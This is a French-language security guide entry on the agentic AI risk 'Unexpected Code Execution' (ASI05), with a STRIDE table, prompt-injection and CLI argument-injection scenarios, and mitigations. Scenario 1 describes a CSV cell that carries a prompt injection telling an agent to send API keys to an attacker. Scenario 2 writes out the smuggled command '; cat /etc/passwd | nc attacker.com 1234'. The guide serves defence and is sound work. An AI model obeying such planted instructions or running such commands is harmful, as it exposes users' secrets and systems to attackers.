La capacité des agents IA à générer et exécuter du code (souvent via un interpréteur Python) est puissante mais représente une surface d’attaque critique. Le risque ASI05 - Unexpected Code Execution se matérialise lorsqu’un attaquant manipule l’agent pour lui faire exécuter du code arbitraire malveillant.
Le problème clé
Contrairement à une RCE classique, ici l’agent est conçu pour exécuter du code. Le danger est que l’intention derrière le code exécuté peut être détournée, souvent via une injection de prompt, transformant une fonctionnalité légitime en vecteur d’attaque.
Analyse STRIDE
Voici comment les menaces STRIDE s’appliquent à l’exécution de code par l’agent, en lien avec les scénarios ci-dessous :
| Menace | Impact dans le contexte agentique | Lien Scénario |
|---|---|---|
| Spoofing | Moins prioritaire, sauf si le code exécuté tente d’usurper des services réseau. | - |
| Tampering | L’attaquant modifie les données d’entrée (ex: un fichier CSV) pour altérer le code généré par l’agent. | Scénario 1 (CSV piégé) |
| Repudiation | Si l’environnement d’exécution est éphémère et sans logs centralisés, l’attaquant peut nier avoir lancé le code malveillant. | Général |
| Information Disclosure | Le code injecté est conçu pour lire des variables d’environnement (clés API) ou des fichiers sensibles et les exfiltrer. | Scénario 1 & 2 |
| Denial of Service | Le code généré lance une boucle infinie, une “fork bomb” ou consomme toute la mémoire disponible. | Général |
| Elevation of Privilege | Le code parvient à s’échapper du sandbox (sandbox escape) pour exécuter des commandes sur l’hôte avec des privilèges plus élevés. | Scénario 2 (si évasion) |
Comment ça marche ? (Vecteurs)
- Injection de Prompt : Injection d’instructions dans le contexte pour convaincre l’agent de générer du code malveillant.
- Manipulation d’Arguments (CLI) : Injection d’arguments malveillants passés à des outils en ligne de commande.
- Détournement de Bibliothèques : Incitation à utiliser des bibliothèques malveillantes (typosquatting) ou des fonctions dangereuses (
os.system,eval).
Scénarios d’attaque clés (Exemples)
1. L’Analyse de Données Piégée (Tampering / Information Disclosure)
Un utilisateur demande à un agent d’analyser un fichier CSV. Une cellule contient une injection de prompt. L’agent interprète ce texte comme une instruction d’utiliser son interpréteur Python pour exfiltrer les variables d’environnement (clés API) vers un serveur attaquant, au lieu d’analyser les données.
2. Injection d’Arguments dans un Outil CLI (Elevation of Privilege / Info Disclosure)
Un agent utilise grep pour chercher des fichiers. Un attaquant fournit une entrée qui, concaténée à la commande, introduit des arguments comme ; cat /etc/passwd | nc attacker.com 1234, permettant l’exécution de commandes arbitraires sur le système.
Vulnérabilités réellement connues
- Injection d’arguments et RCE : Des agents basés sur des CLI se sont révélés vulnérables à l’injection d’arguments, contournant parfois les filtres regex pour exécuter des commandes arbitraires.
- RCE dans les frameworks LLM : Des vulnérabilités RCE ont été découvertes dans des frameworks populaires, permettant la prise de contrôle via des injections de prompt.
Solutions & Défenses (Mitigation)
Principes Architecturaux
- Sandboxing Strict : Exécuter le code dans des environnements éphémères, isolés du réseau et du système hôte (conteneurs, WebAssembly).
- Principe du Moindre Privilège : Restreindre les appels système, les bibliothèques importables et l’accès réseau dans l’environnement d’exécution.
- Validation Humaine (HITL) : Exiger une confirmation humaine avant l’exécution de code pour les opérations sensibles.
Boîte à outils CI/CD
- Analyse Statique (SAST) : Analyser le code généré par l’agent pour détecter des patterns dangereux (
eval,subprocess) avant exécution. - Fuzzing de Prompts : Tester la robustesse de l’agent face aux injections visant à provoquer une exécution de code.